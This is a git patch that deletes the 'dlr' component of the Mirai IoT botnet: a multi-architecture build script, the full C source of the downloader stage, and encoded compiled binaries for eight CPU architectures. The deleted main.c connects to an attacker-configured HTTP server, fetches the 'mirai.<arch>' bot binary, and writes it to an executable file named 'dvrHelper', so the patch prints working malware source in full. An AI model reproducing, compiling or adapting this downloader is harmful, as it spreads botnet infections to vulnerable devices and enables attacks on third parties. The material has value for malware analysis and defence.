From 39f39f1ffd38becc1bdafbf7cce03a05008d4c93 Mon Sep 17 00:00:00 2001 From: NoxxDev Date: Tue, 25 Oct 2016 17:42:16 -0200 Subject: [PATCH] Remove dlr all files and folder --- dlr/build.sh | 22 ---- dlr/main.c | 274 ------------------------------------------- dlr/release/dlr.arm | Bin 1168 -> 0 bytes dlr/release/dlr.arm7 | Bin 1664 -> 0 bytes dlr/release/dlr.m68k | Bin 1248 -> 0 bytes dlr/release/dlr.mips | Bin 2000 -> 0 bytes dlr/release/dlr.mpsl | Bin 2032 -> 0 bytes dlr/release/dlr.ppc | Bin 1412 -> 0 bytes dlr/release/dlr.sh4 | Bin 1200 -> 0 bytes dlr/release/dlr.spc | Bin 1288 -> 0 bytes 10 files changed, 296 deletions(-) delete mode 100644 dlr/build.sh delete mode 100644 dlr/main.c delete mode 100644 dlr/release/dlr.arm delete mode 100644 dlr/release/dlr.arm7 delete mode 100644 dlr/release/dlr.m68k delete mode 100644 dlr/release/dlr.mips delete mode 100644 dlr/release/dlr.mpsl delete mode 100644 dlr/release/dlr.ppc delete mode 100644 dlr/release/dlr.sh4 delete mode 100644 dlr/release/dlr.spc diff --git a/dlr/build.sh b/dlr/build.sh deleted file mode 100644 index 9227844..0000000 --- a/dlr/build.sh +++ /dev/null @@ -1,22 +0,0 @@ -armv4l-gcc -Os -D BOT_ARCH=\"arm\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm -armv6l-gcc -Os -D BOT_ARCH=\"arm7\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7 -i686-gcc -Os -D BOT_ARCH=\"x86\" -D X32 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.x86 -m68k-gcc -Os -D BOT_ARCH=\"m68k\" -D M68K -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.m68k -mips-gcc -Os -D BOT_ARCH=\"mips\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mips -#mips64-gcc -Os -D BOT_ARCH=\"mps64\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mps64 -mipsel-gcc -Os -D BOT_ARCH=\"mpsl\" -D MIPSEL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mpsl -powerpc-gcc -Os -D BOT_ARCH=\"ppc\" -D PPC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.ppc -sh4-gcc -Os -D BOT_ARCH=\"sh4\" -D SH4 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh4 -#sh2elf-gcc -Os -D BOT_ARCH=\"sh2el\" -D SH2EL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2el -#sh2eb-gcc -Os -D BOT_ARCH=\"sh2eb\" -D SH2EB -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2eb -sparc-gcc -Os -D BOT_ARCH=\"spc\" -D SPARC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.spc - -armv4l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm -armv6l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7 -i686-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.x86 -m68k-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.m68k -mips-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mips -mipsel-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mpsl -powerpc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.ppc -sh4-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.sh4 -sparc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.spc \ No newline at end of file diff --git a/dlr/main.c b/dlr/main.c deleted file mode 100644 index 569d837..0000000 --- a/dlr/main.c +++ /dev/null @@ -1,274 +0,0 @@ -#include -//#include -#include -#include -#include -#include - -#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP - -#define EXEC_MSG "MIRAI\n" -#define EXEC_MSG_LEN 6 - -#define DOWNLOAD_MSG "FIN\n" -#define DOWNLOAD_MSG_LEN 4 - -#define STDIN 0 -#define STDOUT 1 -#define STDERR 2 - -#if BYTE_ORDER == BIG_ENDIAN -#define HTONS(n) (n) -#define HTONL(n) (n) -#elif BYTE_ORDER == LITTLE_ENDIAN -#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) -#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ - ((((unsigned long)(n) & 0xff00)) << 8) | \ - ((((unsigned long)(n) & 0xff0000)) >> 8) | \ - ((((unsigned long)(n) & 0xff000000)) >> 24)) -#else -#error "Fix byteorder" -#endif - -#ifdef __ARM_EABI__ -#define SCN(n) ((n) & 0xfffff) -#else -#define SCN(n) (n) -#endif - -inline void run(void); -int sstrlen(char *); -unsigned int utils_inet_addr(unsigned char, unsigned char, unsigned char, unsigned char); - -/* stdlib calls */ -int xsocket(int, int, int); -int xwrite(int, void *, int); -int xread(int, void *, int); -int xconnect(int, struct sockaddr_in *, int); -int xopen(char *, int, int); -int xclose(int); -void x__exit(int); - -#define socket xsocket -#define write xwrite -#define read xread -#define connect xconnect -#define open xopen -#define close xclose -#define __exit x__exit - -#ifdef DEBUG -/* -void xprintf(char *str) -{ - write(1, str, sstrlen(str)); -} -#define printf xprintf -*/ -#endif - -void __start(void) -{ -#if defined(MIPS) || defined(MIPSEL) - __asm( - ".set noreorder\n" - "move $0, $31\n" - "bal 10f\n" - "nop\n" - "10:\n.cpload $31\n" - "move $31, $0\n" - ".set reorder\n" - ); -#endif - run(); -} - -inline void run(void) -{ - char recvbuf[128]; - struct sockaddr_in addr; - int sfd, ffd, ret; - unsigned int header_parser = 0; - int arch_strlen = sstrlen(BOT_ARCH); - - write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); - - addr.sin_family = AF_INET; - addr.sin_port = HTONS(80); - addr.sin_addr.s_addr = HTTP_SERVER; - - ffd = open("dvrHelper", O_WRONLY | O_CREAT | O_TRUNC, 0777); - - sfd = socket(AF_INET, SOCK_STREAM, 0); - -#ifdef DEBUG - if (ffd == -1) - printf("Failed to open file!\n"); - if (sfd == -1) - printf("Failed to call socket()\n"); -#endif - - if (sfd == -1 || ffd == -1) - __exit(1); - -#ifdef DEBUG - printf("Connecting to host...\n"); -#endif - - if ((ret = connect(sfd, &addr, sizeof (struct sockaddr_in))) < 0) - { -#ifdef DEBUG - printf("Failed to connect to host.\n"); -#endif - write(STDOUT, "NIF\n", 4); - __exit(-ret); - } - -#ifdef DEBUG - printf("Connected to host\n"); -#endif - - if (write(sfd, "GET /bins/mirai." BOT_ARCH " HTTP/1.0\r\n\r\n", 16 + arch_strlen + 13) != (16 + arch_strlen + 13)) - { -#ifdef DEBUG - printf("Failed to send get request.\n"); -#endif - - __exit(3); - } - -#ifdef DEBUG - printf("Started header parse...\n"); -#endif - - while (header_parser != 0x0d0a0d0a) - { - char ch; - int ret = read(sfd, &ch, 1); - - if (ret != 1) - __exit(4); - header_parser = (header_parser << 8) | ch; - } - -#ifdef DEBUG - printf("Finished receiving HTTP header\n"); -#endif - - while (1) - { - int ret = read(sfd, recvbuf, sizeof (recvbuf)); - - if (ret <= 0) - break; - write(ffd, recvbuf, ret); - } - - close(sfd); - close(ffd); - write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); - __exit(5); -} - -int sstrlen(char *str) -{ - int c = 0; - - while (*str++ != 0) - c++; - return c; -} - -unsigned int utils_inet_addr(unsigned char one, unsigned char two, unsigned char three, unsigned char four) -{ - unsigned long ip = 0; - - ip |= (one << 24); - ip |= (two << 16); - ip |= (three << 8); - ip |= (four << 0); - return HTONL(ip); -} - -int xsocket(int domain, int type, int protocol) -{ -#if defined(__NR_socketcall) -#ifdef DEBUG - printf("socket using socketcall\n"); -#endif - struct { - int domain, type, protocol; - } socketcall; - socketcall.domain = domain; - socketcall.type = type; - socketcall.protocol = protocol; - - // 1 == SYS_SOCKET - int ret = syscall(SCN(SYS_socketcall), 1, &socketcall); - -#ifdef DEBUG - printf("socket got ret: %d\n", ret); -#endif - return ret; -#else -#ifdef DEBUG - printf("socket using socket\n"); -#endif - return syscall(SCN(SYS_socket), domain, type, protocol); -#endif -} - -int xread(int fd, void *buf, int len) -{ - return syscall(SCN(SYS_read), fd, buf, len); -} - -int xwrite(int fd, void *buf, int len) -{ - return syscall(SCN(SYS_write), fd, buf, len); -} - -int xconnect(int fd, struct sockaddr_in *addr, int len) -{ -#if defined(__NR_socketcall) -#ifdef DEBUG - printf("connect using socketcall\n"); -#endif - struct { - int fd; - struct sockaddr_in *addr; - int len; - } socketcall; - socketcall.fd = fd; - socketcall.addr = addr; - socketcall.len = len; - // 3 == SYS_CONNECT - int ret = syscall(SCN(SYS_socketcall), 3, &socketcall); - -#ifdef DEBUG - printf("connect got ret: %d\n", ret); -#endif - - return ret; -#else -#ifdef DEBUG - printf("connect using connect\n"); -#endif - return syscall(SCN(SYS_connect), fd, addr, len); -#endif -} - -int xopen(char *path, int flags, int other) -{ - return syscall(SCN(SYS_open), path, flags, other); -} - -int xclose(int fd) -{ - return syscall(SCN(SYS_close), fd); -} - -void x__exit(int code) -{ - syscall(SCN(SYS_exit), code); -} diff --git a/dlr/release/dlr.arm b/dlr/release/dlr.arm deleted file mode 100644 index 782bf1d7665c14ff32a4a1cf9028d206bf9d993e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1168 zcma)5O-NKx6h7}~RK}SYaWj?0D_XS3aSRtNT)cra2UH$0feROoX((t-GmnZAd^#?o z8jzeQ+RSZHL{QKoa3i>EBS^F<2)ys{VAMrI?OMFPGd~c5(1r8PIp6o)^UnQS92g!{ z6eUZIq0)I$5O)=c`rtonM5@ZMLCl3nukkgxgD>nYG;ARTk@NgIroeMX)COzezyTi@ zGKecKbuGytsk!PoA+;Fd3#zLa%QEO!-Jnf%wLT#YUC6T$N2>irNmP`_4uqr_j4J+f zqCJIHshO`KZ$YkX)-`R=s7WCshLBIdg}~`M-F{?y#BHTgRf`EP3XXLvMEjBLl1t7; z^~Mo39-xMP1ZRWO4%JuwsXuq9{z0mH*G^UZGJ3(T>?!7oOV(GP=$iK@2u_UkR{XJ! zir-=gPa)yy&h?#dL9nly!m~DkC50ElK7`Q!BKYFwmhYHb{*txjFT-9#+lBcnRPy6z zDt=t4`0K#9C(705=_KSA#wdq>-0h?ZA@MKmO%SxVfOBFcH)aU$BQ#`MF3$HI_p%+U z_&V@UjMJ3+68@C=(B(PnbxwW&rjsQ#5}i+j;AF@Yat-wq%wyeq@CsQTdhi~BUrYY* z^~*)MkgWI`W#ljHK@{tA8v0lKFT--9sKa%Y>EPUUJYZG6mwZS0-e>dkG?KoWN{6vack)BibGhj}4tq2`2!!a$ zK*s2qoV{7-nV-#PXA{sHLz#@#)0;@5g_>qCJzDdWD9jY>yq%q-ggt%FrbPbMRMyT? zVzN-+V*feXp~G@(Z_#$JX2ezOL38MhpaY(D7h$|t<5=u)gJZ`!=8wbpZG*18b$<7p UH%GG`YgyAAtUKLI;F;&~7w7$fo&W#< diff --git a/dlr/release/dlr.arm7 b/dlr/release/dlr.arm7 deleted file mode 100644 index 493904bc0331f4d59fb9c08e97b4f87fa06abf92..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1664 zcma)6U1%It6h3!%vRStqXG;2DTU*DUhdea9Qwi9IKForR4K!tJ7D4nO8?x91qswO0 zJ_s4JDTJ1#X;E90F!#Y9C>HV{J_vz*6hSOL6+zfLJF81%{jQHn?#Ba_nbWoV%1@8LZL64}78;MZGo z{I*R%3(8~7l7TS()ySRY>CQ0-g9Z`Dnu?A$RcfrM(s`*;Sx?0y>EJodQ_tr;bvQ06 ztuq>tA(eJ>G7u!g8$?^$%~qgwR)62=&%poXE`HGlw-f|$Ory`=) zLSZ$7zvK8od9NR3Oc`<=e~#m=R2y?kh8ffscJ=KKKdA-y27Z*`cbI<)%nOKFrdDJ= z>qn;WqwBB<1AElBV^YBX!Zxad_k&?_qym3>C64!?#%jrE1%@fZuYn=k3D7&&dH-96 zA8D}PU^~qQOVEexW%#9PZ~N3&uxaEd)M)s_I6nA|hx~1+u1>cC&RHOy@yspA3AyeK z;I3M~McT_vm8G(}k8^7_`UQBekN=$aG@YJp5b-GCuNPr^5XX0zuZB6>--15g&y#ar z#2Wtab?9s8!ER}NgM09gC8EC|C0w8wWON?)0J0B~8_EqGgZ>2EI*o3w*`u3Te5WxB zIa#gfX=(*Jt!x~zSEHxutC8ibMqs#?#&^zQk2QOJ!+_>}M6Mnhh$mBCCL29XbOH5O z1~BaB7_w#qGCLtzUi2sSsNr8>Ri?r@iJLy^k^>OWejughWU3-^1<)lCY<9e_N?oNdO5ZAIIcA2UP2Z$IdP^m zkwb^Q-#A%)yIyU;c6wqQ7NS>9l+EHy?Vb7JT&+>56*$H`SuQ)pqXi4!jX~oRr+Zk& zC!;isS*2Q;sgZaB(@ZKWs4#za-fg&*87jEdb1oGc@6J}-3Kh2hOJ^nv71wRlX5MqF z^9j@c>pg&QOYxifu?K;ElONCiNTz$SX55RAE_$&GhttQfVjTPT_ceN@_h$3^&2M%x i7{lWk2r%{D0)MA~+m|e$6C7*iO2#yB#bg1U;Qj$#fkGJo diff --git a/dlr/release/dlr.m68k b/dlr/release/dlr.m68k deleted file mode 100644 index 2c9dd716551fd0f91a910d1dfc35ff442abad37d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1248 zcma)6-%C?*6hHTeL*}$)K}#$yHe^J8uZ4(&!5nVhiQP;@_7LJ^&ZIfV-HHW*x8+0l z&_JtyL4pvG3VQQVdZ@SPDexhb9@Y;eRxH1r^WB|AA$8z<&-tFu=bUrD=YH>92oFUh zS%L$RK}BD(LAi*w3qbV=tP3 z{j-l$>mzMA+?27?(;5C|gYtAj9$6Y}PJVw_p&c?^#%=UopogbNNnM%;nU`=K=AS4U zS`DqDT_AM-$(4`b?FjNOMqc7ZUhWgwn*!SnfM8O8S=74L4#@Xs`1;*xb$v1Esdd@E zA1k8o#mSU(JQr5p@)OsSYQwlHs=hp6zwIyRqT>D-^$&l5Q@UGlUOU;(DfijtG@$gyL)cH<>*LX)D4MSmNAveOj%$?BW@T7k81kl zOggL2&RFpoMpVrh9Ua!svrd{1M53mfzB`t^p3Pag_$090R6YmHnoGoUabT0#EaCqz z4M@fB9b7iR1GK1$hPEd3KOs4aO1ukndy#_*A=H`>MtTyJ{uK(H7!9h}qY+Z8M_k2; NkxRVOzxJXQ`~;2JUr_)6 diff --git a/dlr/release/dlr.mips b/dlr/release/dlr.mips deleted file mode 100644 index 3dbcf41738c4722766d0d78c74325871ace105f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2000 zcmb7FOK%%h6#hJ~w1KG8DyocRsxh6!UQ~`-y2v7nX_^K{DwRQ5bkRj^B`TH(wQPgf zbtsNtH(3&?5~Z!vhbm2YEV^igg;;dSPnZP=Hb`A&0UEw@=Q;$*YQ>T6+&kxd=Q-!x zxpCp*a?Z$Mp9~!0IfuX+az6_=PXKpt*)Fy1A1W}yJPbZhgn zxt$cF?eGf1a?$i~$hVGsqh$+YWII~si43>hOm{e66nzBMk&Quy>+cD!^ep`){t@N) zDO~Xt-$Ongpb+oC^DWmY?I3S@dxw1+W+WJ5B`1ls^bA#P>+vgm-qX1LD{yx;?#lm+ zE%%bxTy1Nfc@E?6@ihJpPvUR!L%fS!mG{jsFFE;jJGp7d378Jjzh_i6vzzLQHu9^ZkdjT<(K95m*l1~)&c!}yKp^~tFkL~q26p8Z~6nr z5+9;#FkaDh>k=33|2HnxN18vcTU)sefv1zd8I*(9n%DcoWbC3_<7(o{6$gYd@g|=~7c9jS19H_y+ zeCnz=rN+7j%)hMtjjbE=utkUSGmO}S5qmIV4@T@kJxkBC-v8{X^ecHq>u7cZX@1T8 znsbdk$zvglQQdEHRHSj){D&^@0I!H4doSVlxKG~?FdaQaK6-=#=RS!az>ObbI)22N zXU|4lH1zs(0+X}tsryJQOTOD-AV;}}WEaZ(g}Zvb63$nFGnJ1e&+U-+ZB|Ew>;du~ z*V&`QFz3AVu+G~PoRGGs^5?u&_x)#LY_!^4IljB{{<)P&-o2l6YU>}i*E{50T3IFs zc;~{ZH`i=^)ScUCbsDXT=y-N!0>e>0DoH^ctvKyUv$pw~NZg z+IsWjYn4W`_4b)DUSGy~jY2x%zeoH-mK|^(k(zhD9OV++8OD_m!v$77%Q6#n+d>kt}sTSb*YrrK@RaSoN^mI&pL!!}8SBZbN!AA0B^wi1;{4UKGr zxOFLs;I=)s5)vUz(zHUd`8jZCMI;d7$dRKDAbKbg2M)cU<$L2DZKuRVCAg5pK5EJA-J3!V2_Z}>aAqz+8`}mM7M3op>86`B7zAu}ld=@pz z*SH8F8F=&8_LAB@^^@h|Ah;8X*^ye{?qm4w3v+|eX)M|06eESL)WGvMq52JFCr6Tq1cq&Fis zO;dVf!VDIO$z$sdswQ#S;2N?17}$S6uqUY#tYKw>T(ll967M?eL1H+{mxnFMiN5Th zN}b8tQd|E<2>;^{Nn)yRVd2zq$u*1V6T)l63zs;Oqxg~YEakrEnf$KmTe{3$bVqT{ z_M;F|pVXGuwTZp0F=Btv?}+Cj^_$wgg0<0rwh}{ZnXl?c7FE}ep0u}gULv2=dF6Co zhK^~#3M8hD8P_IWd`cb?H;3CF;<$@KG=sq*b82vCdgAxQRP~F$)94l@5B6N;5^0}u zmKtRa9E3UF3za_g`$t0eq>ID|S9Q=&TI-YYP|2moX%8x_|FFJgbltpzG4Ei^I~em0 z#=L{E%+il~mM(qJpG%)I1IN_gjLg`ql7DLXkAW$jqx>gGu0n$GQd^hv?rn1J_j&Jn zEbLA^j6L@5F7M{OxW`#=vDX>K-A)eoIPY7s;v@89p*QR?7s*NdvQG$~6R#Wfa}|Gi z&Q?y()5O6ZMv?k%K=pHCm_s*~`z!t>j>Hg>{1>&qGG{G~-`4`GYppA?e`EfwbMu41 z(tFLy@|CsaCS@1q=O_VQKVS348!PX$##dLG^_7y?c$HeMI)0{99vU1H(A@k5g%vz0 z0z%=>P?zsPFB4+l;QL~RxWWAb_cysVY4ec$5%~bQM_oXUQtRzjyVpD(VunAO)aB*=7?47}O{S7yEm-7Gs diff --git a/dlr/release/dlr.ppc b/dlr/release/dlr.ppc deleted file mode 100644 index 37cef13375495b559690f36db872ae6814820a7a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1412 zcma)6O-NKx6h3d>a~e$L1-6LE8p$A$X0lwo7=@A26n~gvqD2KWj)p=%GBd>$uDxet zP&*-)lg!``xNFl&OCyVxZGu_^MihdZpf*AE`p%oD$*9nU^X`4;eBZg>z31L*wsp5F z9)&iWhpI7FbW+#QHxX%zPOOOnq|z}eBaP$i(_I55S2RS6sqocux>7X8qWNH6j`wH2 zoOe9iKVG=B*tm5lmRzoq$s-~*8wtwfDIur*qSvB;^m*ncYwd5c-!F_fDH94+cfW4D z*Fox03uB{}bm>#)cEEc7VLd;0#m+Sd#!2glkY%cH=P4`B;dxQYgO*j+G?5@5^jw=5 zqYA?!b)rDJQ6L|3)w$gJ;MPGO)=;8v=Q%Z(*Hb#@<{s?KQ(fNvQr<3FmF-%U52aec zjqtoJ0iBk{=t+29i(+jn9jI&g87U8Hh(Z=oWXk^0Z0W?f)Ad@^7}sJ(p1fQubABz_ zW!seok;hmj1^YyZ(GvxG7AF(_D8^M?_8$fNsW-=UGAvK4kymUZsa=8pDmaRis6BY# zc#!XSC~MpDu3xlHQAH?c+mYu^KBde4{my*(T^L-GJn7(Hl%{_qlBWP`WKGaFh?s`h zZE4b5a0*yYjT0Z&hM8~9t_$Xx*)`%hz*B)63A2VV)IE>20SC-bD2tqN(tz^;bMYb0 z#ijX3u$d~$M_Vq7IC}H3vrlir1v&_>WzMV%mtW6gIp7~Lv!6u-x{>1}*7&{{|J}%b z`08DKldPTB0pC;fWnK2KPpI9>0&0Y_w!CrHpe-Wfej&3s*E0=5zQUdQ8Wy8_&WN+9 zM|YM2sHNtft<|Lh?!c&@??N5?wU4HGzipe(#R6hm&oSzxpguXibHl?)>gl}D+F6c! zekav2aD8|nMMS-w?eGwtYl{U!eM2|Xp&LV~#843UKu0VV4K)T&RF+pdnD)+Ir>9_g zFr7(d5`7fR42TQ`Q@8pPnFRcO=`?5i@3t36ewn;@vnJ8Q)Wt1qe$%+^gE8);PFfV( n0i$l%M%#G%4#2_hnaXb*a4_e8D~`vUOWkm~xWoVcojCmk8ro)C diff --git a/dlr/release/dlr.sh4 b/dlr/release/dlr.sh4 deleted file mode 100644 index 684587d45d879f00222eea91cc9763b8e389bde0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1200 zcma)6O-vI(6n@j)B4x#Z2GU9(1q6ziE)rD2kJ(bG1uH*7;z18=yDcrnV%kQD5=zhz zOhYghh%p{aNIaQ%z!;AvUOaA%B*c@X%gTX+rlu#8`le+QD;|8!n>X+KzIi*HeY3GX zmxB-jn(5#)(9FmP(2jAB0jR{-4rXA$0(xL`d|oeL5a1(fsOxhe$?n-krQGzdf$}W+O|Nms(x>v(m(rmt4O70^i5pEu$Nfgnc(qWR^mt5mkGtDrYHaSc z*i8;oZqw1Han~@roRIPzol8wO4&|Rpb%iz9f*OS!Q@|arPyShd zkzeOu@^5*ncYb;kdxtwRi^ketD_9Rh?RQuMwr<`EyoOz<#x%+s(gM2Hu zG#ra57iGY@pb}$`-19lO7F_2912DlZS*Oq^f|^}omYKljcy>t_zmVi?L^&@fq|vo9 zl@s>Ql?%nojK4)DO4}AEu&Namaj8k(@K?_yBr9SMeDkfkM;62x1@^k1C8TDVsQaB8 zUfhq9V0BihMb-c>#41aDvaDl2UW-qtTd(+nC+e+0XMF6+ro;^x;KyqNRBdz4gv2>F zrITB%$_)^u9M|g==bY={^fSTCWG0aD(|11)FuVXZU6v#;o5gqHA_B}~T*W>u#`zM? zA7b3b{1nDj%%7wCab8kdQu-b7_n0%-34iv^E94h>yGP|mrMe*x_DIC145zN|j#PeF z*r{wST4DTpnVx4{JZ{c@&38tASAJSg*6QVZl-`Soza6gjU$ga>07!SjPVdxhZy39G zu-}0Qz~#O%Gw%+BBK)mDSPWQEZ+4E24fAKMt+>^k#?e2Ri-2q-8jgx?utvQzQLu)m zB{3?3)g6h@V*hCz>Igc$i}cJ^G4APbI52uYsg%iQj`AjSdiRme aeGBM!f##ZN^{AF=G^4s2Ex|~6YQF)t>oh_D diff --git a/dlr/release/dlr.spc b/dlr/release/dlr.spc deleted file mode 100644 index b6d804ca314555f7b35256228ea93e393011cbb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1288 zcma)6OGs2<6h3$Eorl+if5we1ioXXMAtE8kHcbC`Oac9EYuki9&h-V-UX$HknBV1#= zj|Fg2!f}5wAM+_*1AUuuK1*<}K46c`RK5fH7O*JSOQk{Ny}RQ+3*Q~Jf!d`O#MhCh z6?J)JSy0>JrWCqC8uPf$S>x@OvqVw0nDN8fs@Dg3k-RR5d_{Sa; z2Pf~$Ocp(qXgD_jl;}$TsO%b>zE|qHJ6$YHXRuBVj*gCWUC5ko)7v}_^9FLmzMUye zmCD6(VT>~6$=NbxiuWf9